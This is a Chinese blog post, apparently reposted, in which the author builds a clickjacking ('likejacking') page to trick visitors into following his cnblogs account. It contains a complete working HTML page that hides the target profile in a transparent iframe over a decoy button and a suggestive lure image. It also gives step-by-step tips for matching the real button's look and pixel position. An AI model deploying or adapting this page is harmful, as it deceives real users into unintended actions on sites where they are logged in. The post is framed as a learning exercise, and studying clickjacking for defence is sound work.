造一個點擊劫持clickjacking來漲粉

時間 2020-06-05

標籤一個點擊劫持 clickjacking 简体版

原文原文鏈接

卑微小吳，挖洞挖不到，關注我博客的人也才一個。正好在學點擊劫持，因而想能不能造一個相似於facebook likejacking 的 cnblog likejacking 這種騷套路來騙人關注我。嗯，是個好想法！css

第一步，選張羞羞的圖片

例如：
html

第二步，建一個html文件

<!DOCTYPE html>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<head>
<title>點擊劫持 POC</title>
<style>
iframe {
width: 100%;
height: 100%;
position: absolute;
top: -0px;
left: -0px;
z-index: 2;
-moz-opacity: 0;
opacity: 0;
filter: alpha(opacity=0);   //這裏寫三種不一樣的透明度設置呢是想適配各大瀏覽器
}
button {
	display: block;
	width: 68.8px;
	height: 25.6px;
	border-radius:2em;
	font-size: 12px;
	background-color: #f2fddb;
	border: 1px solid #aecd3d;
	position: absolute;
	top: 298px;
	left: 631px;
}
</style>
</head>
<body>
<button>你懂的</button>
<img src="xiuxiutu.png">   //這裏寫圖片地址
<iframe src="https://home.cnblogs.com/u/wjrblogs/" scrolling="no"></iframe>  //這裏寫博客首頁地址
</body>
</html>

打開看看，一個羞羞羞的網站哦瀏覽器

預覽網頁，點一下不會吃虧，不會上當！！！點就完事，奧裏給！！！
函數

在製做過程當中的一些小 tips

如何設置與cnblog上同樣形狀的按鈕

以火狐瀏覽器爲例，首先按下F12，而後選中按鈕，在右下角即可以看到按鈕的樣式了，選擇一些決定按鈕形狀的css屬性便可
如我這裏選擇了：display: block;、border-radius:2em;
如何肯定按鈕大小呢？看到圖片中的第二步，在選中標籤的時候，上面提供了標籤的大小(上面的黑框框)，也就是：width: 68.8px;、height: 25.6px;
標籤內的字體大小須要根據具體字數來決定，我這裏三個字，也就相應的設置爲：font-size: 12px;
顏色邊框什麼的就隨便設置一下，這裏我就直接複製的cnblog按鈕的顏色屬性：background-color: #f2fddb;、border: 1px solid #aecd3d;工具

如何肯定按鈕的位置
注意：這裏不要傻傻的用工具去測像素，由於屏幕分辨率不一樣，你測的像素也會不一樣

獲取按鈕距離頂部的長度
不少時候，標籤若不是採用絕對定位便很難獲取它距離頂部的距離

騷操做：
學習

按下F12,滑動滾動條至按鈕的上邊框與瀏覽器邊框大體重合，在控制檯輸入以下函數 document.documentElement.scrollTop，這個函數的大體意思就是獲取你的滾動條滾動了多長，而後就獲得大體的距離了 -- 295px字體

獲取按鈕距離邊框的長度

看了上面，師傅們應該是想到了怎麼獲取距離邊框的長度了，不就是document.documentElement.scrollLeft嘛，沒一點技術含量！
我一開始也是這麼想的，結果在我縮小瀏覽器窗口大小想要獲得距離的時候，個人心態發生了一點變化
縮大了，按鈕的左邊框不能與瀏覽器邊框重合，縮小了頁面直接變成了下面這個樣子，按鈕本身跑到邊上去了
網站

那麼到底如何取得按鈕距離邊框的長度？敬請收看今晚的焦點訪談之走進真相。
就在我一籌莫展之時，腦海中浮現了我二十年來學習得數學知識三七二十一，三八婦女節，三角形類似、類似三角形對應邊成比例，哎利用比例不就好了？
ui

利用qq截圖，用像素測出來距離上邊框373px，距離側邊框785px，由學習過的方程可得出 373/785=295/x，通過一番心算，我得出來了 x=620.844805
又由學過的數學知識四捨五入獲得按鈕距離邊框的長度大體爲 620px，ohohohohohohohohohohohohohohohohoh my god！網安要學好，數學少不了！3d

通過一點點得修改，最終設置了：position: absolute;、top: 298px;、left: 631px;

最終結果

從新註冊了一個帳號，我成功的讓個人小號關注了我。oh my god！個人關注竟然漲了，成功到達2了耶！！！！！！！難以想象。這真是一個歷史性的時刻，我要把它記錄下來！！

相關標籤/搜索

每日一句

每一个你不满意的现在，都有一个你没有努力的曾经。